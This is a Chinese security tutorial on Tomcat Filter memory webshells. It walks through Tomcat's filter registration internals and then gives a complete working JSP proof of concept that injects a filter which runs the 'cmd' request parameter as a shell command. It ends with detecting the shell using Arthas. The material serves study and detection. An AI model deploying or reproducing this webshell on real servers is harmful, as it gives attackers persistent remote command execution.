[Java安全]—Tomcat Filter内存马
文章首发于Secin:Filter内存马及工具检测
文章目录
- 原理
- Filter注册流程
- Filter内存马注入
- 内存马检测工具
原理
Servlet 有自己的过滤器filter,可以通过自定义的过滤器,来对用户的请求进行拦截等操作。
经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell,所以就需要我们想办法在最前方注册一个恶意的filter并执行。
Filter注册流程
先看一个正常的demo
filter.java
package memoryshell;import javax.servlet.*;
import java.io.IOException;public class filter implements Filter {public void init(FilterConfig filterConfig) throws ServletException {System.out.println("Filter 初始化创建");}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("执行过滤操作");filterChain.doFilter(servletRequest,servletResponse);}public void destroy() {System.out.println("Filter 销毁");}
}'']]
web.xml
<filter><filter-name>filter</filter-name><filter-class>memoryshell.filter</filter-class>
</filter>
<filter-mapping><filter-name>filter</filter-name><url-pattern>/*</url-pattern>
</filter-mapping>
运行后成功触发
之后再看几个会用到的类:
- FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
- FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
- FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
- FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
- WebXml:存放 web.xml 中内容的类
- ContextConfig:Web应用的上下文配置类
- StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
- StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
接下来我们来分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的
调用栈
doFilter:13, filter (memoryshell)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1743, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
可以看到在StandardWrapperValve#invoke
中,通过createFilterChain
方法获得了一个ApplicationFilterChain
类型的filterChain,其中包含了filters
有两个值,而第一个值就包含了我们传入的自定义filter
跟进createFilterChain()
,获取了request请求,在通过该请求获取了filterChain
再往下看,context获取了一个StandardContext()
对象,接着用context获取了filterMaps
主要就是filtername和path
之后经过循环逐一将filterMaps的值传入filterConfig,最后通过addFilter
将其传入filterChain
中
跟进addFilter()
,最后将值赋给了filters中
之后回到createFilterChain()
的部分继续往下看,调用了filterChain的doFilter
跟进doFilter
,最后的else部分调用了:
internalDoFilter(request,response);
跟进internalDoFilter()
,将上边createFilterChain()
,获取的filters[pos++]值传入filterConfig,接着传入filter,而这个filter也就是我们自定义的那个,所以最后执行filter.doFilter后,便跳转到了我们自定义的doFilter方法中输出了 ”执行过滤操作“
Filter内存马注入
在上边提到了这两行,当构造我们的filter链的时候 ,是从context中获取到的 FiltersMaps
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
当我们能直接获取 request 的时候,我们这里可以直接将我们的 ServletContext 转为 StandardContext 从而获取 context
当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
还有其他的获取方法:
从线程中获取StandardContext
如果没有request对象的话可以从当前线程中获取
https://zhuanlan.zhihu.com/p/114625962
从MBean中获取
https://scriptboy.cn/p/tomcat-filter-inject/
获取Context后,发现这参数跟我们的fileter有关,所以尝试控制这部分注入内存马
- filterMaps:一个HashMap对象,包含过滤器名字和URL映射
- filterDefs:一个HashMap对象,过滤器名字和过滤器实例的映射
- filterConfigs变量:一个ApplicationFilterConfig对象,里面存放了filterDefs
大致流程:
- Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
- 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);// 首先判断名字是否存在,如果不存在我们就进行注入if (filterConfigs.get(name) == null){// 创建恶意 FilterFilter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null){byte[] bytes = new byte[1024];Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}};/*** 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类*/FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中standardContext.addFilterDef(filterDef);/*** 创建一个filtermap* 设置filter的名字和对应的urlpattern*/FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(name);// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3filterMap.setDispatcher(DispatcherType.REQUEST.name());/*** 将filtermap 添加到 filterMaps 中的第一个位置*/standardContext.addFilterMapBefore(filterMap);/*** 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入*/Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);/*** 将 name 和 filterConfig 作为 key-value进行传入*/filterConfigs.put(name,filterConfig);out.print("Inject Success !");
}
最终poc
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%final String name = "Sentiment";ServletContext servletContext = request.getSession().getServletContext();Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs = (Map) Configs.get(standardContext);if (filterConfigs.get(name) == null){Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null){byte[] bytes = new byte[1024];//Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();int len = process.getInputStream().read(bytes);servletResponse.getWriter().write(new String(bytes,0,len));process.destroy();return;}filterChain.doFilter(servletRequest,servletResponse);}@Overridepublic void destroy() {}};FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());/*** 将filterDef添加到filterDefs中*/standardContext.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig);out.print("Inject Success !");}
%>
注入成功,这里用到的是windows命令,linux命令需要用上边注释的那条
内存马检测工具
arthas:https://arthas.aliyun.com/arthas-boot.jar
alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas (github.com)
java -jar arthas-boot.jar
选择我们 Tomcat 的进程
输入1进入进程
利用 sc *.Filter
进行模糊搜索,会列出所有调用了 Filter 的类
利用jad --source-only org.apache.jsp.filter_jsp$1
直接将 Class 进行反编译
可以监控进程,当我们访问 url 就会输出监控结果 watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
D:\java\Java_Security\src\main\java\memoryshell>java -jar arthas-boot.jar
[INFO] arthas-boot version: 3.6.2
[INFO] Process 13212 already using port 3658
[INFO] Process 13212 already using port 8563
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 13212 org.apache.catalina.startup.Bootstrap[2]: 20032 org.jetbrains.idea.maven.server.RemoteMavenServer36[3]: 11480 org.jetbrains.jps.cmdline.Launcher[4]: 19916
1
[INFO] arthas home: C:\Users\del'l'\.arthas\lib\3.6.2\arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658,---. ,------. ,--------.,--. ,--. ,---. ,---./ O \ | .--. ''--. .--'| '--' | / O \ ' .-'
| .-. || '--'.' | | | .--. || .-. |`. `-.
| | | || |\ \ | | | | | || | | |.-' |
`--' `--'`--' '--' `--' `--' `--'`--' `--'`-----'wiki https://arthas.aliyun.com/doc
tutorials https://arthas.aliyun.com/doc/arthas-tutorials.html
version 3.6.2
main_class
pid 13212
time 2022-07-17 12:10:04[arthas@13212]$ sc *.Filter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.AbstractMatcherFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.EvaluatorFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.Filter
javax.servlet.Filter
javax.servlet.GenericFilter
memoryshell.filter
org.apache.catalina.filters.CsrfPreventionFilter
org.apache.catalina.filters.CsrfPreventionFilterBase
org.apache.catalina.filters.FilterBase
org.apache.catalina.filters.HttpHeaderSecurityFilter
org.apache.jsp.filter_jsp$1
org.apache.tomcat.websocket.server.WsFilter
Affect(row-cnt:12) cost in 7 ms.
[arthas@13212]$ jad --source-only org.apache.jsp.filter_jsp$1/** Decompiled with CFR.** Could not load the following classes:* javax.servlet.Filter* javax.servlet.FilterChain* javax.servlet.FilterConfig* javax.servlet.ServletException* javax.servlet.ServletRequest* javax.servlet.ServletResponse* javax.servlet.http.HttpServletRequest*/package org.apache.jsp;import java.io.IOException;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;class filter_jsp.1implements Filter {filter_jsp.1() {}public void init(FilterConfig filterConfig) throws ServletException {}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {/*173*/ HttpServletRequest req = (HttpServletRequest)servletRequest;
/*174*/ if (req.getParameter("cmd") != null) {/*175*/ byte[] bytes = new byte[1024];Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
/*178*/ int len = process.getInputStream().read(bytes);
/*179*/ servletResponse.getWriter().write(new String(bytes, 0, len));
/*180*/ process.destroy();
/*181*/ return;}
/*183*/ filterChain.doFilter(servletRequest, servletResponse);}public void destroy() {}}[arthas@13212]$ watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
Press Q or Ctrl+C to abort.
Affect(class count: 1 , method count: 1) cost in 71 ms, listenerId: 1
method=org.apache.catalina.core.ApplicationFilterFactory.createFilterChain location=AtExit
ts=2022-07-17 12:23:35; [cost=0.7065ms] result=@ArrayList[@String[org.apache.jsp.filter_jsp$1],@String[memoryshell.filter],@String[org.apache.tomcat.websocket.server.WsFilter],
]
[Java安全]—Tomcat Filter内存马相关推荐
- Filter内存马浅析
1. 何谓内存马? 以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启. Java内存shell有很多种,大 ...
- 新型 tomcat websocket 内存马检测与防护思路探究
最近,看到网上有安全研究人员发布了一篇文章,描述了一款在 tomcat 的全新内存马,地址为:https://www.iculture.cc/forum-post/19128.html,该内存马基于 ...
- Java内存马攻防实战——攻击基础篇
在红蓝对抗中,攻击方广泛应用webshell等技术在防守方提供的服务中植入后门,防守方也发展出各种技术来应对攻击,传统的落地型webshell很容易被攻击方检测和绞杀.而内存马技术则是通过在运行的 ...
- Java内存马简单实现
文章目录 Tomcat内存马 JavaWeb 基本流程 Listener型内存马 恶意Listener监听器 动态注册Listener流程 构造Listener内存马 编写恶意Listener监听器 ...
- java内存马学习与理解
文章目录 1. 前置知识 1.1 java web 核心组件 listener filter filter的生命周期 filter链 servlet 2. tomcat 2.1 核心组件 1. con ...
- java内存马分析集合
基于tomcat Servlet内存马 web.xml <?xml version="1.0" encoding="UTF-8"?> <web ...
- 【Web安全】JSP内存马研究
前言 最近在研究webshell免杀的问题,到了内存马免杀部分发现传统的Filter或者Servlet查杀手段比较多,不太容易实现免杀,比如有些工具会将所有注册的Servlet和Filter拿出来,排 ...
- 深入浅出内存马(一)
深入浅出内存马(一) 0x01 简述 0x0101 Webshell技术历程 在Web安全领域,Webshell一直是一个非常重要且热门的话题.在目前传统安全领域,Webshell根据功能的不同分为三 ...
- Goby 利用内存马中的一些技术细节【技术篇】
一.前言 投稿在 Goby 社区的内存马文章已经写了两篇,在第一篇<Shell中的幽灵王者-JAVAWEB 内存马 [认知篇]>中介绍了 JavaWeb 内存马技术的历史演变.分类,从认知 ...
最新文章
- hitTest练手例子
- 关于天线增益、发射角、阵列的一些见解
- Java中的注解是如何工作的?
- 此次边路调整系统推荐射手走哪路_王者荣耀:S15射手最新梯度排行,马可T2,狄仁杰T1,T0仅剩两位...
- 微软请你学Linux,最后4节课,即将收官,错过了就没有了!
- linux shell for循环使用命令中读取到的值实例
- Cover团队在Kovan以太坊测试网部署xCOVER智能合约
- LeetCode从读题到自闭:204. 计数质数
- python对象保存在哪_Python – 在本地保存请求或BeautifulSoup对象
- 写了一套优雅接口之后,领导让我给大家讲讲这背后的技术原理
- 数据库习题(填空题一)
- 获取百度网盘提取码的两种方法
- 三、unaipp小程序二维码生成
- win10远程控制ubuntu16.04
- VMware Workstation虚拟机无法共享主机网络解决方法
- 使用aspose.words将Word转为PDF
- 软骨鱼是WordPress构建SaaS平台的最优解决方案
- Material UI 带复选框表格获取选中值(索引)
- 计算两个日期之间的天数,你知道哪些函数能够计算呢?
- java线程池的正确使用方式,completableFuture
热门文章
- 致远项目管理SPM系统案例:陕西宏远建设集团项目管理系统
- 20221222今天的世界发生了什么
- 什么是股票基金?什么是债券基金?
- 算法提升:图的Dijkstra(迪杰斯特拉)算法
- android 文本表情,把文本内容变为表情包,Android开发还可以这样 玩?!
- Android网络编程基础(一) - 基础知识
- 你真的了解a ^= (b ^= (a ^= b))吗?
- 2022.1.31-2022.2.6 AI行业周刊(第83期):如何快速找到人工智能对标公司及产品模式?
- HMM学习一:前向和后向算法
- 新版带支付功能2021全新最火表情包小程序源码,无限裂变,斗图小程序,头像壁纸,外卖服务内附详细搭建教程